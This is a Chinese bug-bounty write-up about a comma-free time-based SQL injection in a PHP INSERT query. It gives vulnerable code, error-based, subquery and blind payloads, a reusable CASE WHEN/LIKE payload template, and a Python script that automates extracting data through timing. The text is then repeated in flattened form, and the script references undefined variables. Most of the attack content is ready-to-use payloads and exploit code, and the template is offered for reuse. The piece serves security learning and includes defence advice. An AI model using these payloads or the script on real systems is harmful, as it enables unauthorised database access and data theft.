挖洞经验 | 一次INSERT查询的无逗号SQL注入漏洞构造利用($10k)
字数 984 2025-08-18 11:38:28

无逗号SQL注入漏洞构造与利用技术详解

漏洞背景

本文详细分析一种特殊的SQL注入漏洞,该漏洞存在于INSERT查询中,且由于特殊限制无法使用逗号(,)进行注入构造。作者通过巧妙结合Time-based注入、Case When语句和Like操作成功实现了注入利用,最终获得厂商$10,000美金的奖励。

漏洞原理分析

1. 漏洞代码示例

后端数据库处理逻辑如下:

$email = $_POST['email'];
$name = $_POST['name'];
$review = $_POST['review'];
$query = "insert into reviews(review,email,name) values ('$review','$email','$name')";
mysql_query($query,$conn);

对应的HTTP请求体格式:

review=test review&email=info@example.com&name=test name

生成的SQL语句:

insert into reviews(review,email,name) values ('test review','info@example.com','test name')

2. 常规注入方法

方法一:extractvalue报错注入

构造Payload:

test review' and extractvalue(0x0a,concat(0x0a,(select database()))) and '1

生成的SQL语句:

insert into reviews(review,email,name) values ('test review' and extractvalue(0x0a,concat(0x0a,(select database()))) and '1','info@example.com','test name');

效果:通过XPATH错误泄露数据库名称。

方法二:子查询注入

构造Payload:

jnk review',(select user()),'dummy name')-- -

生成的SQL语句:

insert into reviews(review,email,name) values ('jnk review',(select user()),'dummy name')-- -,'info@example.com','test name');

效果:将查询结果直接插入到表中。

方法三:Time-based盲注

构造Payload:

xxx'-(IF((substring((select database()),1,1)) = 'd', sleep(5), 0))-'xxxx

效果:通过响应时间判断条件是否为真。

特殊限制下的注入构造

1. 问题描述

当注入参数是通过逗号分隔的数组时(如urls[]methods[]),常规注入方法中的逗号会破坏Payload结构:

$urls_input = $_POST['urls'];
$urls = explode(",", $urls_input);
foreach($urls as $url){
  mysql_query("insert into xxxxxx (url,method) values ('$url','method')")
}

构造的Payload:

xxx'-(IF((substring((select database()),1,1)) = 'd', sleep(5), 0))-'xxxx

会被分割为:

Array(
    [0] => xxx'-(IF((substring((select database())
    [1] => 1
    [2] => 1)) = 'd'
    [3] =>  sleep(5)
    [4] =>  0))-'xxxx)

2. 解决方案

替代IF语句:使用CASE WHEN

基本语法:

SELECT CASE WHEN (condition) THEN (true_action) ELSE (false_action) END

示例:

select CASE WHEN ((select substring('111',1,1)='1')) THEN (sleep(3)) ELSE 2 END;

替代substring:使用LIKE操作

示例:

select CASE WHEN ((select database()) like 'd%') THEN (sleep(3)) ELSE 2 END;

3. 最终Payload构造

基本格式:

xxx'-(select CASE WHEN ((MY_QUERY) like 'CHAR_TO_BRUTE_FORCE%25') THEN (sleep(4)) ELSE 2 END)-'xxx

完整Payload模板:

urls[]=xxx'-cast((select CASE WHEN ((MY_QUERY) like 'CHAR_TO_BRUTE_FORCE%25') THEN (sleep(1)) ELSE 2 END) as char)-'

自动化利用脚本

import requests
import sys
import time

if len(sys.argv) == 1:
    print '''Usage : python sql.py "QUERY"
Example : python sql.py "(select database)"
    '''
    sys.exit()

query = sys.argv[1]
print "[*] Obtaining length"

# 获取查询结果长度
for i in range(1,100):
    current_time = time.time()
    data = {
        "methods[]": "on-site", 
        "urls[]": "jnkfooo'-cast((select CASE WHEN ((select length("+query+"))="+str(i)+") THEN (sleep(1)) ELSE 2 END) as char)-'"
    }
    response = requests.post(url, headers=headers, data=data).text
    response_time = time.time()
    time_taken = response_time - current_time
    if time_taken > 2:
        print "[+] Length of DB query output is : "+str(i)
        length = i + 1
        break

print "[*] obtaining query output\n"
outp = ''
charset = "abcdefghijklmnopqrstuvwxyz0123456789.ABCDEFGHIJKLMNOPQRSTUVWXYZ_@-."

# 逐字符爆破查询结果
for i in range(1,length):
    for char in charset:
        current_time = time.time()
        data = {
            "methods[]": "on-site", 
            "urls[]": "jnkfooo'-cast((select CASE WHEN ("+query+" like '"+outp+char+"%') THEN (sleep(1)) ELSE 2 END) as char)-'"
        }
        response = requests.post(url, headers=headers, data=data).text
        response_time = time.time()
        time_taken = response_time - current_time
        if time_taken > 2:
            print "Got '"+char+"'"
            outp = outp + char
            break

print "QUERY output : "+outp

关键知识点总结

  1. INSERT注入的三种常规方法

    • 报错注入(extractvalue)
    • 子查询注入
    • Time-based盲注
  2. 无逗号注入的限制与突破

    • 当Payload中不能使用逗号时,需要寻找替代方案
    • 使用CASE WHEN替代IF语句
    • 使用LIKE操作替代substring函数
  3. 时间盲注的关键构造

    CASE WHEN (condition) THEN (sleep(N)) ELSE (value) END
    
  4. 字符爆破技术

    • 通过LIKE和通配符%逐字符猜测
    • 结合时间延迟判断猜测是否正确
  5. 自动化利用

    • 先确定结果长度
    • 然后逐字符爆破

防御建议

  1. 使用参数化查询(Prepared Statements)
  2. 对用户输入进行严格的过滤和转义
  3. 避免直接拼接用户输入到SQL语句中
  4. 实施最小权限原则,限制数据库用户权限
  5. 对敏感操作添加额外的验证机制

参考Payload模板

xxx'-cast((select CASE WHEN ((MY_QUERY) like 'CHAR_TO_BRUTE_FORCE%25') THEN (sleep(1)) ELSE 2 END) as char)-'

该模板可用于各种无逗号限制的SQL注入场景,通过修改MY_QUERY和CHAR_TO_BRUTE_FORCE实现不同的注入目的。

无逗号SQL注入漏洞构造与利用技术详解 漏洞背景 本文详细分析一种特殊的SQL注入漏洞,该漏洞存在于INSERT查询中,且由于特殊限制无法使用逗号(,)进行注入构造。作者通过巧妙结合Time-based注入、Case When语句和Like操作成功实现了注入利用,最终获得厂商$10,000美金的奖励。 漏洞原理分析 1. 漏洞代码示例 后端数据库处理逻辑如下: 对应的HTTP请求体格式: 生成的SQL语句: 2. 常规注入方法 方法一:extractvalue报错注入 构造Payload: 生成的SQL语句: 效果:通过XPATH错误泄露数据库名称。 方法二:子查询注入 构造Payload: 生成的SQL语句: 效果:将查询结果直接插入到表中。 方法三:Time-based盲注 构造Payload: 效果:通过响应时间判断条件是否为真。 特殊限制下的注入构造 1. 问题描述 当注入参数是通过逗号分隔的数组时(如 urls[] 和 methods[] ),常规注入方法中的逗号会破坏Payload结构: 构造的Payload: 会被分割为: 2. 解决方案 替代IF语句:使用CASE WHEN 基本语法: 示例: 替代substring:使用LIKE操作 示例: 3. 最终Payload构造 基本格式: 完整Payload模板: 自动化利用脚本 关键知识点总结 INSERT注入的三种常规方法 : 报错注入(extractvalue) 子查询注入 Time-based盲注 无逗号注入的限制与突破 : 当Payload中不能使用逗号时,需要寻找替代方案 使用CASE WHEN替代IF语句 使用LIKE操作替代substring函数 时间盲注的关键构造 : 字符爆破技术 : 通过LIKE和通配符%逐字符猜测 结合时间延迟判断猜测是否正确 自动化利用 : 先确定结果长度 然后逐字符爆破 防御建议 使用参数化查询(Prepared Statements) 对用户输入进行严格的过滤和转义 避免直接拼接用户输入到SQL语句中 实施最小权限原则,限制数据库用户权限 对敏感操作添加额外的验证机制 参考Payload模板 该模板可用于各种无逗号限制的SQL注入场景,通过修改MY_ QUERY和CHAR_ TO_ BRUTE_ FORCE实现不同的注入目的。